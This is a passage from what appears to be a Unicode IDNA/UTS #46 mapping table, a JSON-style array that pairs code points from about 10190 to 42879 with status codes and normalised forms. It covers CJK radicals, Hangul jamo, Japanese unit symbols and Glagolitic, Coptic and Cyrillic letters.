[[10190,10191],2],[[10192,10219],2],[[10220,10223],2],[[10224,10239],2],[[10240,10495],2],[[10496,10763],2],[10764,1,"∫∫∫∫"],[[10765,10867],2],[10868,5,"::="],[10869,5,"=="],[10870,5,"==="],[[10871,10971],2],[10972,1,"⫝̸"],[[10973,11007],2],[[11008,11021],2],[[11022,11027],2],[[11028,11034],2],[[11035,11039],2],[[11040,11043],2],[[11044,11084],2],[[11085,11087],2],[[11088,11092],2],[[11093,11097],2],[[11098,11123],2],[[11124,11125],3],[[11126,11157],2],[11158,3],[11159,2],[[11160,11193],2],[[11194,11196],2],[[11197,11208],2],[11209,2],[[11210,11217],2],[11218,2],[[11219,11243],2],[[11244,11247],2],[[11248,11262],2],[11263,2],[11264,1,"ⰰ"],[11265,1,"ⰱ"],[11266,1,"ⰲ"],[11267,1,"ⰳ"],[11268,1,"ⰴ"],[11269,1,"ⰵ"],[11270,1,"ⰶ"],[11271,1,"ⰷ"],[11272,1,"ⰸ"],[11273,1,"ⰹ"],[11274,1,"ⰺ"],[11275,1,"ⰻ"],[11276,1,"ⰼ"],[11277,1,"ⰽ"],[11278,1,"ⰾ"],[11279,1,"ⰿ"],[11280,1,"ⱀ"],[11281,1,"ⱁ"],[11282,1,"ⱂ"],[11283,1,"ⱃ"],[11284,1,"ⱄ"],[11285,1,"ⱅ"],[11286,1,"ⱆ"],[11287,1,"ⱇ"],[11288,1,"ⱈ"],[11289,1,"ⱉ"],[11290,1,"ⱊ"],[11291,1,"ⱋ"],[11292,1,"ⱌ"],[11293,1,"ⱍ"],[11294,1,"ⱎ"],[11295,1,"ⱏ"],[11296,1,"ⱐ"],[11297,1,"ⱑ"],[11298,1,"ⱒ"],[11299,1,"ⱓ"],[11300,1,"ⱔ"],[11301,1,"ⱕ"],[11302,1,"ⱖ"],[11303,1,"ⱗ"],[11304,1,"ⱘ"],[11305,1,"ⱙ"],[11306,1,"ⱚ"],[11307,1,"ⱛ"],[11308,1,"ⱜ"],[11309,1,"ⱝ"],[11310,1,"ⱞ"],[11311,1,"ⱟ"],[[11312,11358],2],[11359,2],[11360,1,"ⱡ"],[11361,2],[11362,1,"ɫ"],[11363,1,"ᵽ"],[11364,1,"ɽ"],[[11365,11366],2],[11367,1,"ⱨ"],[11368,2],[11369,1,"ⱪ"],[11370,2],[11371,1,"ⱬ"],[11372,2],[11373,1,"ɑ"],[11374,1,"ɱ"],[11375,1,"ɐ"],[11376,1,"ɒ"],[11377,2],[11378,1,"ⱳ"],[11379,2],[11380,2],[11381,1,"ⱶ"],[[11382,11383],2],[[11384,11387],2],[11388,1,"j"],[11389,1,"v"],[11390,1,"ȿ"],[11391,1,"ɀ"],[11392,1,"ⲁ"],[11393,2],[11394,1,"ⲃ"],[11395,2],[11396,1,"ⲅ"],[11397,2],[11398,1,"ⲇ"],[11399,2],[11400,1,"ⲉ"],[11401,2],[11402,1,"ⲋ"],[11403,2],[11404,1,"ⲍ"],[11405,2],[11406,1,"ⲏ"],[11407,2],[11408,1,"ⲑ"],[11409,2],[11410,1,"ⲓ"],[11411,2],[11412,1,"ⲕ"],[11413,2],[11414,1,"ⲗ"],[11415,2],[11416,1,"ⲙ"],[11417,2],[11418,1,"ⲛ"],[11419,2],[11420,1,"ⲝ"],[11421,2],[11422,1,"ⲟ"],[11423,2],[11424,1,"ⲡ"],[11425,2],[11426,1,"ⲣ"],[11427,2],[11428,1,"ⲥ"],[11429,2],[11430,1,"ⲧ"],[11431,2],[11432,1,"ⲩ"],[11433,2],[11434,1,"ⲫ"],[11435,2],[11436,1,"ⲭ"],[11437,2],[11438,1,"ⲯ"],[11439,2],[11440,1,"ⲱ"],[11441,2],[11442,1,"ⲳ"],[11443,2],[11444,1,"ⲵ"],[11445,2],[11446,1,"ⲷ"],[11447,2],[11448,1,"ⲹ"],[11449,2],[11450,1,"ⲻ"],[11451,2],[11452,1,"ⲽ"],[11453,2],[11454,1,"ⲿ"],[11455,2],[11456,1,"ⳁ"],[11457,2],[11458,1,"ⳃ"],[11459,2],[11460,1,"ⳅ"],[11461,2],[11462,1,"ⳇ"],[11463,2],[11464,1,"ⳉ"],[11465,2],[11466,1,"ⳋ"],[11467,2],[11468,1,"ⳍ"],[11469,2],[11470,1,"ⳏ"],[11471,2],[11472,1,"ⳑ"],[11473,2],[11474,1,"ⳓ"],[11475,2],[11476,1,"ⳕ"],[11477,2],[11478,1,"ⳗ"],[11479,2],[11480,1,"ⳙ"],[11481,2],[11482,1,"ⳛ"],[11483,2],[11484,1,"ⳝ"],[11485,2],[11486,1,"ⳟ"],[11487,2],[11488,1,"ⳡ"],[11489,2],[11490,1,"ⳣ"],[[11491,11492],2],[[11493,11498],2],[11499,1,"ⳬ"],[11500,2],[11501,1,"ⳮ"],[[11502,11505],2],[11506,1,"ⳳ"],[11507,2],[[11508,11512],3],[[11513,11519],2],[[11520,11557],2],[11558,3],[11559,2],[[11560,11564],3],[11565,2],[[11566,11567],3],[[11568,11621],2],[[11622,11623],2],[[11624,11630],3],[11631,1,"ⵡ"],[11632,2],[[11633,11646],3],[11647,2],[[11648,11670],2],[[11671,11679],3],[[11680,11686],2],[11687,3],[[11688,11694],2],[11695,3],[[11696,11702],2],[11703,3],[[11704,11710],2],[11711,3],[[11712,11718],2],[11719,3],[[11720,11726],2],[11727,3],[[11728,11734],2],[11735,3],[[11736,11742],2],[11743,3],[[11744,11775],2],[[11776,11799],2],[[11800,11803],2],[[11804,11805],2],[[11806,11822],2],[11823,2],[11824,2],[11825,2],[[11826,11835],2],[[11836,11842],2],[[11843,11844],2],[[11845,11849],2],[[11850,11854],2],[11855,2],[[11856,11858],2],[[11859,11869],2],[[11870,11903],3],[[11904,11929],2],[11930,3],[[11931,11934],2],[11935,1,"母"],[[11936,12018],2],[12019,1,"龟"],[[12020,12031],3],[12032,1,"一"],[12033,1,"丨"],[12034,1,"丶"],[12035,1,"丿"],[12036,1,"乙"],[12037,1,"亅"],[12038,1,"二"],[12039,1,"亠"],[12040,1,"人"],[12041,1,"儿"],[12042,1,"入"],[12043,1,"八"],[12044,1,"冂"],[12045,1,"冖"],[12046,1,"冫"],[12047,1,"几"],[12048,1,"凵"],[12049,1,"刀"],[12050,1,"力"],[12051,1,"勹"],[12052,1,"匕"],[12053,1,"匚"],[12054,1,"匸"],[12055,1,"十"],[12056,1,"卜"],[12057,1,"卩"],[12058,1,"厂"],[12059,1,"厶"],[12060,1,"又"],[12061,1,"口"],[12062,1,"囗"],[12063,1,"土"],[12064,1,"士"],[12065,1,"夂"],[12066,1,"夊"],[12067,1,"夕"],[12068,1,"大"],[12069,1,"女"],[12070,1,"子"],[12071,1,"宀"],[12072,1,"寸"],[12073,1,"小"],[12074,1,"尢"],[12075,1,"尸"],[12076,1,"屮"],[12077,1,"山"],[12078,1,"巛"],[12079,1,"工"],[12080,1,"己"],[12081,1,"巾"],[12082,1,"干"],[12083,1,"幺"],[12084,1,"广"],[12085,1,"廴"],[12086,1,"廾"],[12087,1,"弋"],[12088,1,"弓"],[12089,1,"彐"],[12090,1,"彡"],[12091,1,"彳"],[12092,1,"心"],[12093,1,"戈"],[12094,1,"戶"],[12095,1,"手"],[12096,1,"支"],[12097,1,"攴"],[12098,1,"文"],[12099,1,"斗"],[12100,1,"斤"],[12101,1,"方"],[12102,1,"无"],[12103,1,"日"],[12104,1,"曰"],[12105,1,"月"],[12106,1,"木"],[12107,1,"欠"],[12108,1,"止"],[12109,1,"歹"],[12110,1,"殳"],[12111,1,"毋"],[12112,1,"比"],[12113,1,"毛"],[12114,1,"氏"],[12115,1,"气"],[12116,1,"水"],[12117,1,"火"],[12118,1,"爪"],[12119,1,"父"],[12120,1,"爻"],[12121,1,"爿"],[12122,1,"片"],[12123,1,"牙"],[12124,1,"牛"],[12125,1,"犬"],[12126,1,"玄"],[12127,1,"玉"],[12128,1,"瓜"],[12129,1,"瓦"],[12130,1,"甘"],[12131,1,"生"],[12132,1,"用"],[12133,1,"田"],[12134,1,"疋"],[12135,1,"疒"],[12136,1,"癶"],[12137,1,"白"],[12138,1,"皮"],[12139,1,"皿"],[12140,1,"目"],[12141,1,"矛"],[12142,1,"矢"],[12143,1,"石"],[12144,1,"示"],[12145,1,"禸"],[12146,1,"禾"],[12147,1,"穴"],[12148,1,"立"],[12149,1,"竹"],[12150,1,"米"],[12151,1,"糸"],[12152,1,"缶"],[12153,1,"网"],[12154,1,"羊"],[12155,1,"羽"],[12156,1,"老"],[12157,1,"而"],[12158,1,"耒"],[12159,1,"耳"],[12160,1,"聿"],[12161,1,"肉"],[12162,1,"臣"],[12163,1,"自"],[12164,1,"至"],[12165,1,"臼"],[12166,1,"舌"],[12167,1,"舛"],[12168,1,"舟"],[12169,1,"艮"],[12170,1,"色"],[12171,1,"艸"],[12172,1,"虍"],[12173,1,"虫"],[12174,1,"血"],[12175,1,"行"],[12176,1,"衣"],[12177,1,"襾"],[12178,1,"見"],[12179,1,"角"],[12180,1,"言"],[12181,1,"谷"],[12182,1,"豆"],[12183,1,"豕"],[12184,1,"豸"],[12185,1,"貝"],[12186,1,"赤"],[12187,1,"走"],[12188,1,"足"],[12189,1,"身"],[12190,1,"車"],[12191,1,"辛"],[12192,1,"辰"],[12193,1,"辵"],[12194,1,"邑"],[12195,1,"酉"],[12196,1,"釆"],[12197,1,"里"],[12198,1,"金"],[12199,1,"長"],[12200,1,"門"],[12201,1,"阜"],[12202,1,"隶"],[12203,1,"隹"],[12204,1,"雨"],[12205,1,"靑"],[12206,1,"非"],[12207,1,"面"],[12208,1,"革"],[12209,1,"韋"],[12210,1,"韭"],[12211,1,"音"],[12212,1,"頁"],[12213,1,"風"],[12214,1,"飛"],[12215,1,"食"],[12216,1,"首"],[12217,1,"香"],[12218,1,"馬"],[12219,1,"骨"],[12220,1,"高"],[12221,1,"髟"],[12222,1,"鬥"],[12223,1,"鬯"],[12224,1,"鬲"],[12225,1,"鬼"],[12226,1,"魚"],[12227,1,"鳥"],[12228,1,"鹵"],[12229,1,"鹿"],[12230,1,"麥"],[12231,1,"麻"],[12232,1,"黃"],[12233,1,"黍"],[12234,1,"黑"],[12235,1,"黹"],[12236,1,"黽"],[12237,1,"鼎"],[12238,1,"鼓"],[12239,1,"鼠"],[12240,1,"鼻"],[12241,1,"齊"],[12242,1,"齒"],[12243,1,"龍"],[12244,1,"龜"],[12245,1,"龠"],[[12246,12271],3],[[12272,12283],3],[[12284,12287],3],[12288,5," "],[12289,2],[12290,1,"."],[[12291,12292],2],[[12293,12295],2],[[12296,12329],2],[[12330,12333],2],[[12334,12341],2],[12342,1,"〒"],[12343,2],[12344,1,"十"],[12345,1,"卄"],[12346,1,"卅"],[12347,2],[12348,2],[12349,2],[12350,2],[12351,2],[12352,3],[[12353,12436],2],[[12437,12438],2],[[12439,12440],3],[[12441,12442],2],[12443,5," ゙"],[12444,5," ゚"],[[12445,12446],2],[12447,1,"より"],[12448,2],[[12449,12542],2],[12543,1,"コト"],[[12544,12548],3],[[12549,12588],2],[12589,2],[12590,2],[12591,2],[12592,3],[12593,1,"ᄀ"],[12594,1,"ᄁ"],[12595,1,"ᆪ"],[12596,1,"ᄂ"],[12597,1,"ᆬ"],[12598,1,"ᆭ"],[12599,1,"ᄃ"],[12600,1,"ᄄ"],[12601,1,"ᄅ"],[12602,1,"ᆰ"],[12603,1,"ᆱ"],[12604,1,"ᆲ"],[12605,1,"ᆳ"],[12606,1,"ᆴ"],[12607,1,"ᆵ"],[12608,1,"ᄚ"],[12609,1,"ᄆ"],[12610,1,"ᄇ"],[12611,1,"ᄈ"],[12612,1,"ᄡ"],[12613,1,"ᄉ"],[12614,1,"ᄊ"],[12615,1,"ᄋ"],[12616,1,"ᄌ"],[12617,1,"ᄍ"],[12618,1,"ᄎ"],[12619,1,"ᄏ"],[12620,1,"ᄐ"],[12621,1,"ᄑ"],[12622,1,"ᄒ"],[12623,1,"ᅡ"],[12624,1,"ᅢ"],[12625,1,"ᅣ"],[12626,1,"ᅤ"],[12627,1,"ᅥ"],[12628,1,"ᅦ"],[12629,1,"ᅧ"],[12630,1,"ᅨ"],[12631,1,"ᅩ"],[12632,1,"ᅪ"],[12633,1,"ᅫ"],[12634,1,"ᅬ"],[12635,1,"ᅭ"],[12636,1,"ᅮ"],[12637,1,"ᅯ"],[12638,1,"ᅰ"],[12639,1,"ᅱ"],[12640,1,"ᅲ"],[12641,1,"ᅳ"],[12642,1,"ᅴ"],[12643,1,"ᅵ"],[12644,3],[12645,1,"ᄔ"],[12646,1,"ᄕ"],[12647,1,"ᇇ"],[12648,1,"ᇈ"],[12649,1,"ᇌ"],[12650,1,"ᇎ"],[12651,1,"ᇓ"],[12652,1,"ᇗ"],[12653,1,"ᇙ"],[12654,1,"ᄜ"],[12655,1,"ᇝ"],[12656,1,"ᇟ"],[12657,1,"ᄝ"],[12658,1,"ᄞ"],[12659,1,"ᄠ"],[12660,1,"ᄢ"],[12661,1,"ᄣ"],[12662,1,"ᄧ"],[12663,1,"ᄩ"],[12664,1,"ᄫ"],[12665,1,"ᄬ"],[12666,1,"ᄭ"],[12667,1,"ᄮ"],[12668,1,"ᄯ"],[12669,1,"ᄲ"],[12670,1,"ᄶ"],[12671,1,"ᅀ"],[12672,1,"ᅇ"],[12673,1,"ᅌ"],[12674,1,"ᇱ"],[12675,1,"ᇲ"],[12676,1,"ᅗ"],[12677,1,"ᅘ"],[12678,1,"ᅙ"],[12679,1,"ᆄ"],[12680,1,"ᆅ"],[12681,1,"ᆈ"],[12682,1,"ᆑ"],[12683,1,"ᆒ"],[12684,1,"ᆔ"],[12685,1,"ᆞ"],[12686,1,"ᆡ"],[12687,3],[[12688,12689],2],[12690,1,"一"],[12691,1,"二"],[12692,1,"三"],[12693,1,"四"],[12694,1,"上"],[12695,1,"中"],[12696,1,"下"],[12697,1,"甲"],[12698,1,"乙"],[12699,1,"丙"],[12700,1,"丁"],[12701,1,"天"],[12702,1,"地"],[12703,1,"人"],[[12704,12727],2],[[12728,12730],2],[[12731,12735],2],[[12736,12751],2],[[12752,12771],2],[[12772,12783],3],[[12784,12799],2],[12800,5,"(ᄀ)"],[12801,5,"(ᄂ)"],[12802,5,"(ᄃ)"],[12803,5,"(ᄅ)"],[12804,5,"(ᄆ)"],[12805,5,"(ᄇ)"],[12806,5,"(ᄉ)"],[12807,5,"(ᄋ)"],[12808,5,"(ᄌ)"],[12809,5,"(ᄎ)"],[12810,5,"(ᄏ)"],[12811,5,"(ᄐ)"],[12812,5,"(ᄑ)"],[12813,5,"(ᄒ)"],[12814,5,"(가)"],[12815,5,"(나)"],[12816,5,"(다)"],[12817,5,"(라)"],[12818,5,"(마)"],[12819,5,"(바)"],[12820,5,"(사)"],[12821,5,"(아)"],[12822,5,"(자)"],[12823,5,"(차)"],[12824,5,"(카)"],[12825,5,"(타)"],[12826,5,"(파)"],[12827,5,"(하)"],[12828,5,"(주)"],[12829,5,"(오전)"],[12830,5,"(오후)"],[12831,3],[12832,5,"(一)"],[12833,5,"(二)"],[12834,5,"(三)"],[12835,5,"(四)"],[12836,5,"(五)"],[12837,5,"(六)"],[12838,5,"(七)"],[12839,5,"(八)"],[12840,5,"(九)"],[12841,5,"(十)"],[12842,5,"(月)"],[12843,5,"(火)"],[12844,5,"(水)"],[12845,5,"(木)"],[12846,5,"(金)"],[12847,5,"(土)"],[12848,5,"(日)"],[12849,5,"(株)"],[12850,5,"(有)"],[12851,5,"(社)"],[12852,5,"(名)"],[12853,5,"(特)"],[12854,5,"(財)"],[12855,5,"(祝)"],[12856,5,"(労)"],[12857,5,"(代)"],[12858,5,"(呼)"],[12859,5,"(学)"],[12860,5,"(監)"],[12861,5,"(企)"],[12862,5,"(資)"],[12863,5,"(協)"],[12864,5,"(祭)"],[12865,5,"(休)"],[12866,5,"(自)"],[12867,5,"(至)"],[12868,1,"問"],[12869,1,"幼"],[12870,1,"文"],[12871,1,"箏"],[[12872,12879],2],[12880,1,"pte"],[12881,1,"21"],[12882,1,"22"],[12883,1,"23"],[12884,1,"24"],[12885,1,"25"],[12886,1,"26"],[12887,1,"27"],[12888,1,"28"],[12889,1,"29"],[12890,1,"30"],[12891,1,"31"],[12892,1,"32"],[12893,1,"33"],[12894,1,"34"],[12895,1,"35"],[12896,1,"ᄀ"],[12897,1,"ᄂ"],[12898,1,"ᄃ"],[12899,1,"ᄅ"],[12900,1,"ᄆ"],[12901,1,"ᄇ"],[12902,1,"ᄉ"],[12903,1,"ᄋ"],[12904,1,"ᄌ"],[12905,1,"ᄎ"],[12906,1,"ᄏ"],[12907,1,"ᄐ"],[12908,1,"ᄑ"],[12909,1,"ᄒ"],[12910,1,"가"],[12911,1,"나"],[12912,1,"다"],[12913,1,"라"],[12914,1,"마"],[12915,1,"바"],[12916,1,"사"],[12917,1,"아"],[12918,1,"자"],[12919,1,"차"],[12920,1,"카"],[12921,1,"타"],[12922,1,"파"],[12923,1,"하"],[12924,1,"참고"],[12925,1,"주의"],[12926,1,"우"],[12927,2],[12928,1,"一"],[12929,1,"二"],[12930,1,"三"],[12931,1,"四"],[12932,1,"五"],[12933,1,"六"],[12934,1,"七"],[12935,1,"八"],[12936,1,"九"],[12937,1,"十"],[12938,1,"月"],[12939,1,"火"],[12940,1,"水"],[12941,1,"木"],[12942,1,"金"],[12943,1,"土"],[12944,1,"日"],[12945,1,"株"],[12946,1,"有"],[12947,1,"社"],[12948,1,"名"],[12949,1,"特"],[12950,1,"財"],[12951,1,"祝"],[12952,1,"労"],[12953,1,"秘"],[12954,1,"男"],[12955,1,"女"],[12956,1,"適"],[12957,1,"優"],[12958,1,"印"],[12959,1,"注"],[12960,1,"項"],[12961,1,"休"],[12962,1,"写"],[12963,1,"正"],[12964,1,"上"],[12965,1,"中"],[12966,1,"下"],[12967,1,"左"],[12968,1,"右"],[12969,1,"医"],[12970,1,"宗"],[12971,1,"学"],[12972,1,"監"],[12973,1,"企"],[12974,1,"資"],[12975,1,"協"],[12976,1,"夜"],[12977,1,"36"],[12978,1,"37"],[12979,1,"38"],[12980,1,"39"],[12981,1,"40"],[12982,1,"41"],[12983,1,"42"],[12984,1,"43"],[12985,1,"44"],[12986,1,"45"],[12987,1,"46"],[12988,1,"47"],[12989,1,"48"],[12990,1,"49"],[12991,1,"50"],[12992,1,"1月"],[12993,1,"2月"],[12994,1,"3月"],[12995,1,"4月"],[12996,1,"5月"],[12997,1,"6月"],[12998,1,"7月"],[12999,1,"8月"],[13000,1,"9月"],[13001,1,"10月"],[13002,1,"11月"],[13003,1,"12月"],[13004,1,"hg"],[13005,1,"erg"],[13006,1,"ev"],[13007,1,"ltd"],[13008,1,"ア"],[13009,1,"イ"],[13010,1,"ウ"],[13011,1,"エ"],[13012,1,"オ"],[13013,1,"カ"],[13014,1,"キ"],[13015,1,"ク"],[13016,1,"ケ"],[13017,1,"コ"],[13018,1,"サ"],[13019,1,"シ"],[13020,1,"ス"],[13021,1,"セ"],[13022,1,"ソ"],[13023,1,"タ"],[13024,1,"チ"],[13025,1,"ツ"],[13026,1,"テ"],[13027,1,"ト"],[13028,1,"ナ"],[13029,1,"ニ"],[13030,1,"ヌ"],[13031,1,"ネ"],[13032,1,"ノ"],[13033,1,"ハ"],[13034,1,"ヒ"],[13035,1,"フ"],[13036,1,"ヘ"],[13037,1,"ホ"],[13038,1,"マ"],[13039,1,"ミ"],[13040,1,"ム"],[13041,1,"メ"],[13042,1,"モ"],[13043,1,"ヤ"],[13044,1,"ユ"],[13045,1,"ヨ"],[13046,1,"ラ"],[13047,1,"リ"],[13048,1,"ル"],[13049,1,"レ"],[13050,1,"ロ"],[13051,1,"ワ"],[13052,1,"ヰ"],[13053,1,"ヱ"],[13054,1,"ヲ"],[13055,1,"令和"],[13056,1,"アパート"],[13057,1,"アルファ"],[13058,1,"アンペア"],[13059,1,"アール"],[13060,1,"イニング"],[13061,1,"インチ"],[13062,1,"ウォン"],[13063,1,"エスクード"],[13064,1,"エーカー"],[13065,1,"オンス"],[13066,1,"オーム"],[13067,1,"カイリ"],[13068,1,"カラット"],[13069,1,"カロリー"],[13070,1,"ガロン"],[13071,1,"ガンマ"],[13072,1,"ギガ"],[13073,1,"ギニー"],[13074,1,"キュリー"],[13075,1,"ギルダー"],[13076,1,"キロ"],[13077,1,"キログラム"],[13078,1,"キロメートル"],[13079,1,"キロワット"],[13080,1,"グラム"],[13081,1,"グラムトン"],[13082,1,"クルゼイロ"],[13083,1,"クローネ"],[13084,1,"ケース"],[13085,1,"コルナ"],[13086,1,"コーポ"],[13087,1,"サイクル"],[13088,1,"サンチーム"],[13089,1,"シリング"],[13090,1,"センチ"],[13091,1,"セント"],[13092,1,"ダース"],[13093,1,"デシ"],[13094,1,"ドル"],[13095,1,"トン"],[13096,1,"ナノ"],[13097,1,"ノット"],[13098,1,"ハイツ"],[13099,1,"パーセント"],[13100,1,"パーツ"],[13101,1,"バーレル"],[13102,1,"ピアストル"],[13103,1,"ピクル"],[13104,1,"ピコ"],[13105,1,"ビル"],[13106,1,"ファラッド"],[13107,1,"フィート"],[13108,1,"ブッシェル"],[13109,1,"フラン"],[13110,1,"ヘクタール"],[13111,1,"ペソ"],[13112,1,"ペニヒ"],[13113,1,"ヘルツ"],[13114,1,"ペンス"],[13115,1,"ページ"],[13116,1,"ベータ"],[13117,1,"ポイント"],[13118,1,"ボルト"],[13119,1,"ホン"],[13120,1,"ポンド"],[13121,1,"ホール"],[13122,1,"ホーン"],[13123,1,"マイクロ"],[13124,1,"マイル"],[13125,1,"マッハ"],[13126,1,"マルク"],[13127,1,"マンション"],[13128,1,"ミクロン"],[13129,1,"ミリ"],[13130,1,"ミリバール"],[13131,1,"メガ"],[13132,1,"メガトン"],[13133,1,"メートル"],[13134,1,"ヤード"],[13135,1,"ヤール"],[13136,1,"ユアン"],[13137,1,"リットル"],[13138,1,"リラ"],[13139,1,"ルピー"],[13140,1,"ルーブル"],[13141,1,"レム"],[13142,1,"レントゲン"],[13143,1,"ワット"],[13144,1,"0点"],[13145,1,"1点"],[13146,1,"2点"],[13147,1,"3点"],[13148,1,"4点"],[13149,1,"5点"],[13150,1,"6点"],[13151,1,"7点"],[13152,1,"8点"],[13153,1,"9点"],[13154,1,"10点"],[13155,1,"11点"],[13156,1,"12点"],[13157,1,"13点"],[13158,1,"14点"],[13159,1,"15点"],[13160,1,"16点"],[13161,1,"17点"],[13162,1,"18点"],[13163,1,"19点"],[13164,1,"20点"],[13165,1,"21点"],[13166,1,"22点"],[13167,1,"23点"],[13168,1,"24点"],[13169,1,"hpa"],[13170,1,"da"],[13171,1,"au"],[13172,1,"bar"],[13173,1,"ov"],[13174,1,"pc"],[13175,1,"dm"],[13176,1,"dm2"],[13177,1,"dm3"],[13178,1,"iu"],[13179,1,"平成"],[13180,1,"昭和"],[13181,1,"大正"],[13182,1,"明治"],[13183,1,"株式会社"],[13184,1,"pa"],[13185,1,"na"],[13186,1,"μa"],[13187,1,"ma"],[13188,1,"ka"],[13189,1,"kb"],[13190,1,"mb"],[13191,1,"gb"],[13192,1,"cal"],[13193,1,"kcal"],[13194,1,"pf"],[13195,1,"nf"],[13196,1,"μf"],[13197,1,"μg"],[13198,1,"mg"],[13199,1,"kg"],[13200,1,"hz"],[13201,1,"khz"],[13202,1,"mhz"],[13203,1,"ghz"],[13204,1,"thz"],[13205,1,"μl"],[13206,1,"ml"],[13207,1,"dl"],[13208,1,"kl"],[13209,1,"fm"],[13210,1,"nm"],[13211,1,"μm"],[13212,1,"mm"],[13213,1,"cm"],[13214,1,"km"],[13215,1,"mm2"],[13216,1,"cm2"],[13217,1,"m2"],[13218,1,"km2"],[13219,1,"mm3"],[13220,1,"cm3"],[13221,1,"m3"],[13222,1,"km3"],[13223,1,"m∕s"],[13224,1,"m∕s2"],[13225,1,"pa"],[13226,1,"kpa"],[13227,1,"mpa"],[13228,1,"gpa"],[13229,1,"rad"],[13230,1,"rad∕s"],[13231,1,"rad∕s2"],[13232,1,"ps"],[13233,1,"ns"],[13234,1,"μs"],[13235,1,"ms"],[13236,1,"pv"],[13237,1,"nv"],[13238,1,"μv"],[13239,1,"mv"],[13240,1,"kv"],[13241,1,"mv"],[13242,1,"pw"],[13243,1,"nw"],[13244,1,"μw"],[13245,1,"mw"],[13246,1,"kw"],[13247,1,"mw"],[13248,1,"kω"],[13249,1,"mω"],[13250,3],[13251,1,"bq"],[13252,1,"cc"],[13253,1,"cd"],[13254,1,"c∕kg"],[13255,3],[13256,1,"db"],[13257,1,"gy"],[13258,1,"ha"],[13259,1,"hp"],[13260,1,"in"],[13261,1,"kk"],[13262,1,"km"],[13263,1,"kt"],[13264,1,"lm"],[13265,1,"ln"],[13266,1,"log"],[13267,1,"lx"],[13268,1,"mb"],[13269,1,"mil"],[13270,1,"mol"],[13271,1,"ph"],[13272,3],[13273,1,"ppm"],[13274,1,"pr"],[13275,1,"sr"],[13276,1,"sv"],[13277,1,"wb"],[13278,1,"v∕m"],[13279,1,"a∕m"],[13280,1,"1日"],[13281,1,"2日"],[13282,1,"3日"],[13283,1,"4日"],[13284,1,"5日"],[13285,1,"6日"],[13286,1,"7日"],[13287,1,"8日"],[13288,1,"9日"],[13289,1,"10日"],[13290,1,"11日"],[13291,1,"12日"],[13292,1,"13日"],[13293,1,"14日"],[13294,1,"15日"],[13295,1,"16日"],[13296,1,"17日"],[13297,1,"18日"],[13298,1,"19日"],[13299,1,"20日"],[13300,1,"21日"],[13301,1,"22日"],[13302,1,"23日"],[13303,1,"24日"],[13304,1,"25日"],[13305,1,"26日"],[13306,1,"27日"],[13307,1,"28日"],[13308,1,"29日"],[13309,1,"30日"],[13310,1,"31日"],[13311,1,"gal"],[[13312,19893],2],[[19894,19903],2],[[19904,19967],2],[[19968,40869],2],[[40870,40891],2],[[40892,40899],2],[[40900,40907],2],[40908,2],[[40909,40917],2],[[40918,40938],2],[[40939,40943],2],[[40944,40956],2],[[40957,40959],2],[[40960,42124],2],[[42125,42127],3],[[42128,42145],2],[[42146,42147],2],[[42148,42163],2],[42164,2],[[42165,42176],2],[42177,2],[[42178,42180],2],[42181,2],[42182,2],[[42183,42191],3],[[42192,42237],2],[[42238,42239],2],[[42240,42508],2],[[42509,42511],2],[[42512,42539],2],[[42540,42559],3],[42560,1,"ꙁ"],[42561,2],[42562,1,"ꙃ"],[42563,2],[42564,1,"ꙅ"],[42565,2],[42566,1,"ꙇ"],[42567,2],[42568,1,"ꙉ"],[42569,2],[42570,1,"ꙋ"],[42571,2],[42572,1,"ꙍ"],[42573,2],[42574,1,"ꙏ"],[42575,2],[42576,1,"ꙑ"],[42577,2],[42578,1,"ꙓ"],[42579,2],[42580,1,"ꙕ"],[42581,2],[42582,1,"ꙗ"],[42583,2],[42584,1,"ꙙ"],[42585,2],[42586,1,"ꙛ"],[42587,2],[42588,1,"ꙝ"],[42589,2],[42590,1,"ꙟ"],[42591,2],[42592,1,"ꙡ"],[42593,2],[42594,1,"ꙣ"],[42595,2],[42596,1,"ꙥ"],[42597,2],[42598,1,"ꙧ"],[42599,2],[42600,1,"ꙩ"],[42601,2],[42602,1,"ꙫ"],[42603,2],[42604,1,"ꙭ"],[[42605,42607],2],[[42608,42611],2],[[42612,42619],2],[[42620,42621],2],[42622,2],[42623,2],[42624,1,"ꚁ"],[42625,2],[42626,1,"ꚃ"],[42627,2],[42628,1,"ꚅ"],[42629,2],[42630,1,"ꚇ"],[42631,2],[42632,1,"ꚉ"],[42633,2],[42634,1,"ꚋ"],[42635,2],[42636,1,"ꚍ"],[42637,2],[42638,1,"ꚏ"],[42639,2],[42640,1,"ꚑ"],[42641,2],[42642,1,"ꚓ"],[42643,2],[42644,1,"ꚕ"],[42645,2],[42646,1,"ꚗ"],[42647,2],[42648,1,"ꚙ"],[42649,2],[42650,1,"ꚛ"],[42651,2],[42652,1,"ъ"],[42653,1,"ь"],[42654,2],[42655,2],[[42656,42725],2],[[42726,42735],2],[[42736,42737],2],[[42738,42743],2],[[42744,42751],3],[[42752,42774],2],[[42775,42778],2],[[42779,42783],2],[[42784,42785],2],[42786,1,"ꜣ"],[42787,2],[42788,1,"ꜥ"],[42789,2],[42790,1,"ꜧ"],[42791,2],[42792,1,"ꜩ"],[42793,2],[42794,1,"ꜫ"],[42795,2],[42796,1,"ꜭ"],[42797,2],[42798,1,"ꜯ"],[[42799,42801],2],[42802,1,"ꜳ"],[42803,2],[42804,1,"ꜵ"],[42805,2],[42806,1,"ꜷ"],[42807,2],[42808,1,"ꜹ"],[42809,2],[42810,1,"ꜻ"],[42811,2],[42812,1,"ꜽ"],[42813,2],[42814,1,"ꜿ"],[42815,2],[42816,1,"ꝁ"],[42817,2],[42818,1,"ꝃ"],[42819,2],[42820,1,"ꝅ"],[42821,2],[42822,1,"ꝇ"],[42823,2],[42824,1,"ꝉ"],[42825,2],[42826,1,"ꝋ"],[42827,2],[42828,1,"ꝍ"],[42829,2],[42830,1,"ꝏ"],[42831,2],[42832,1,"ꝑ"],[42833,2],[42834,1,"ꝓ"],[42835,2],[42836,1,"ꝕ"],[42837,2],[42838,1,"ꝗ"],[42839,2],[42840,1,"ꝙ"],[42841,2],[42842,1,"ꝛ"],[42843,2],[42844,1,"ꝝ"],[42845,2],[42846,1,"ꝟ"],[42847,2],[42848,1,"ꝡ"],[42849,2],[42850,1,"ꝣ"],[42851,2],[42852,1,"ꝥ"],[42853,2],[42854,1,"ꝧ"],[42855,2],[42856,1,"ꝩ"],[42857,2],[42858,1,"ꝫ"],[42859,2],[42860,1,"ꝭ"],[42861,2],[42862,1,"ꝯ"],[42863,2],[42864,1,"ꝯ"],[[42865,42872],2],[42873,1,"ꝺ"],[42874,2],[42875,1,"ꝼ"],[42876,2],[42877,1,"ᵹ"],[42878,1,"ꝿ"],[42879,2],[